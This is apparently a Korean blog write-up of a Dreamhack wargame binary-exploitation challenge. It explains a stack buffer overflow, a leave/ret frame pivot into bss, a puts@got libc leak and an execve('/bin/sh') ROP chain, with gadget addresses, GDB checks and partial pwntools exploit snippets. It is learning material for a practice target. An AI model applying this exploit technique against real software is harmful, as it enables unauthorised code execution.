Dreamhack - raone write_up

HoHk☔️🐁·2026년 2월 22일

Dreamhack SYS

목록 보기
3/5

Dreamhack 워게임 풀이: Stack BOF + leave/ret 프레임 피벗 + bss ROP 조립

3줄 요약

  1. main에서 buf[0x30]read(0, buf, 0x40)을 호출해서 SFP/RIP까지 덮는 BOF가 터진다.
  2. leave; retRBP 프레임을 bss로 피벗시키고, main 내부 read 블록을 재사용해서 bss에 ROP를 조립한다.
  3. puts(puts@got)로 libc를 릭한 뒤, libc 베이스 기준으로 execve("/bin/sh",0,0) 체인을 구성해서 마무리한다.

1. 들어가며

처음엔 그냥 BOF 같아 보이는데, 가젯도 부족하고 릭도 없어 보여서 헷갈리기 쉬운 타입이다.
근데 이 문제는 “가젯 찾아서 화려하게 ROP”가 핵심이 아니라, main 에필로그의 leave; ret로 프레임을 bss로 옮기고, main 내부 read 코드 블록을 재사용해서 bss에 체인을 쌓는 구조가 핵심이다.


2. 취약점 개념

2.1 Stack Buffer Overflow

main() 내부에 정의되어 있는 buf의 크기는 0x30인데, 0x40만큼의 입력을 받기 때문에 스택 버퍼 오버플로가 발생한다. 따라서 main() 에필로그의 leave, ret 과정을 이용해 프로그램의 흐름을 임의로 조작할 수 있다.

취약 부분(의미만):

// Title: vulnerable read
char buf[0x30];
read(0, buf, 0x40); // overflow

2.2 왜 leave; ret가 먹히냐

leaveret은 사실상 아래 동작이다.

  • leave:
    • rsp = rbp
    • rbp = [rsp]
  • ret:
    • rip = [rsp+8]

즉, BOF로 saved rbp(SFP)saved rip를 덮으면 함수 종료 시점에:

  • “스택 포인터가 어디로 갈지”
  • “그 다음에 어디로 점프할지”

를 내가 정할 수 있다.


3. 문제 상황: 첫 시도와 실패

3.1 첫 번째 시도: libc 주소 고정 박기

로컬에서 보이는 libc 주소(예: 0x7ffff7...)를 그대로 원격에 쓰면 깨진다. ASLR 때문에 libc 베이스가 매번 바뀌기 때문이다.
그래서 릭 없이 system/execve 실제 주소를 바로 호출하는 방식은 실패한다.

3.2 두 번째 시도: 가젯만으로 ROP 짜기

이 바이너리는 pop rdi 같은 최소 가젯은 있어도, pop rsi, pop rdx 같은 인자 세팅 가젯이 빈약한 편이다.
그래서 “가젯 수집전”으로 밀면 시간만 날리기 쉽다.


4. 문제의 원인: 디버깅으로 본 실제 동작

4.1 main 내부의 read 블록이 사실상 가젯이다

main을 보면 다음 블록이 존재한다:

0x401211: lea rax, [rbp-0x30]
0x401215: mov edx, 0x40
0x40121a: mov rsi, rax
0x40121d: mov edi, 0
0x401222: call read@plt
...
0x40123b: leave
0x40123c: ret

여기서 핵심:

  • read의 목적지 = rbp - 0x30
  • 즉, RBP만 bss로 피벗하면 read는 자동으로 bss로 써준다.

4.2 메모리 구조를 그림으로 보면 바로 이해된다

초기 main 스택 프레임:

stack (main)

rbp -> +------------------------+
       | saved rbp (SFP)        |
       +------------------------+
       | saved rip              |
       +------------------------+
       | buf[0x30]              |
rsp -> +------------------------+

BOF로 덮는 목표:

  • saved rbp = bss + 원하는 오프셋
  • saved rip = 0x401211 (main의 read 블록으로 복귀)

그 다음 함수 종료 시:

leave; ret

rsp = rbp
rbp = [rsp]        <- 내가 덮어둔 값
rip = [rsp+8]      <- 내가 덮어둔 값

결과적으로 “가짜 스택 프레임을 bss에 만들고 그걸 타는 구조”가 된다.


5. 해결 방법

5.1 익스플로잇 시나리오(요약)

1) SFP 조작을 이용해 rbp를 bss 영역으로 조작하고 main() 내부의 read()로 리턴
2) bss 영역에 ROP Chain 구성: puts(puts@got)
3) puts@got 릭을 통해 libc 베이스 주소 계산
4) 릭한 libc base 주소를 기반으로 /bin/sh, execve(), pop rsi 가젯 주소 계산
5) 다시 main() 내부의 read()를 이용해 bss 영역에 ROP Chain 구성: execve("/bin/sh", 0, 0)
6) 구성한 ROP Chain으로 셸 실행

5.2 핵심 값/가젯 정리

항목값/의미설명
buf 크기0x30rbp-0x30
read 길이0x40BOF 발생
RIP 오프셋0x380x30 + 8(sfp)
read 블록 시작0x401211lea rax, [rbp-0x30]
read 호출 지점0x401222call read@plt
leave; ret0x40123b프레임 피벗
pop rdi; ret0x4011db1번째 인자 세팅
plt00x401020.plt 첫 엔트리

6. 디버깅 로그로 확인한 체크포인트

6.1 bss로 write 되는지 확인

두 번째 read 직전 레지스터가 이렇게 나오면 성공이다:

  • rbp = 0x404830
  • rsi = 0x404800 (= rbp-0x30)
  • rdx = 0x40

GDB/pwndbg 명령어:

b *0x401222
b *0x40123b
# ...
i r rsi rbp rdx rip

6.2 왜 BBBB 넣으면 죽는지 확인

bss에 0x40을 전부 B로 채우면, bss의 특정 오프셋이 다음 흐름이 된다.

  • bss+0x30 : next rbp
  • bss+0x38 : next rip

여기도 0x424242...가 되면 leave; ret 이후 바로 크래시 나는 게 정상이다.


7. 핵심 교훈

교훈내용
BOF는 시작일 뿐이다가젯 부족/릭 부재면 “프로그램 내부 코드 재사용”으로 풀어야 한다
leave; ret는 피벗이다saved rbp를 조작하면 스택 프레임 자체를 옮길 수 있다
bss는 작업장이다큰 ROP/데이터를 bss에 쌓고, 마지막에 그걸 실행한다
릭이 있으면 ret2libc가 열린다puts@got 같은 릭으로 libc base를 얻는 순간 게임이 바뀐다

8. 코드 스니펫 (학습/분석용)

아래는 “구조를 설명하기 위한 스니펫”이다.

8.1 Stage 1: BOF로 rbp 피벗 + read 블록 재진입

# Title: stage1 pivot into bss
from pwn import *

e = ELF("./chall")
bss = e.bss()

read_blk = 0x401211

payload  = b"A" * 0x30
payload += p64(bss + 0x300)  # saved rbp -> bss로 피벗
payload += p64(read_blk)     # saved rip -> main read 블록으로 재진입

# send(payload)

8.2 Stage 2: puts(puts@got)로 libc leak 만들기 (아이디어)

# Title: stage2 leak idea
from pwn import *

e = ELF("./chall")
bss = e.bss()

pop_rdi   = 0x4011db
leave_ret = 0x40123b
read_blk  = 0x401211

puts_got = e.got["puts"]
puts_plt = e.plt["puts"]

# bss 프레임에 "puts(puts@got) -> 다시 read" 체인 조립
chain  = p64(bss + 0x400)   # 다음 rbp(프레임) 위치
chain += p64(pop_rdi)
chain += p64(puts_got)
chain += p64(puts_plt)
chain += p64(read_blk)

# bss 프레임 규칙 때문에 뒤쪽(next rbp/next rip)를 맞춰야 하는데,
# 이건 디버깅으로 프레임 레이아웃을 확인하면서 조정한다.

9. 마치며

이 문제는 “ret2libc 박치기”로 풀리는 문제가 아니라, 프레임 피벗을 전제로 bss에 체인을 조립하는 문제라는 걸 이해하는 순간 길이 열린다.
특히 main 내부 read(rbp-0x30, 0x40) 블록이 사실상 “가젯 세트”라는 점을 깨닫는 게 핵심이다.

출처: Dreamhack 워게임(문제/환경 기반 개인 학습 정리)

profile
nyo님 좋아합니다!

0개의 댓글